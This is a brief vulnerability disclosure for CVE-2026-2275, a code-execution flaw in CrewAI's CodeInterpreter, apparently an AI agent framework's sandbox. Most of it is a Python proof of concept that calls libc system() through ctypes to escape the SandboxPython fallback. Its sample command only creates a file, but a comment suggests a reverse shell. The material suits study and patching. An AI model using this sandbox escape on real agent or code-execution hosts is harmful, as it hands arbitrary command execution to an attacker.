CVE-2026-2275 CrewAI CodeInterpreter 远程代码执行漏洞

import ctypes import sys # Proof of Concept for CVE-2026-2275 # This simulates the arbitrary C function call when Docker is unreachable and SandboxPython is active. def execute_shell_command(command): try: # Load the C standard library (libc on Linux, msvcrt on Windows) if sys.platform.startswith('linux'): libc = ctypes.CDLL('libc.so.6') elif sys.platform == 'darwin': libc = ctypes.CDLL('libSystem.dylib') elif sys.platform == 'win32': libc = ctypes.cdll.msvcrt else: return "Unsupported platform" # Define the argument and return type for the system function libc.system.argtypes = [ctypes.c_char_p] libc.system.restype = ctypes.c_int # Execute the command result = libc.system(command.encode('utf-8')) return f"Command executed with return code: {result}" except Exception as e: return f"Error: {str(e)}" if __name__ == "__main__": # Example command: create a file or run a reverse shell cmd = "touch /tmp/crewai_poc.txt" print(f"Attempting to execute: {cmd}") print(execute_shell_command(cmd))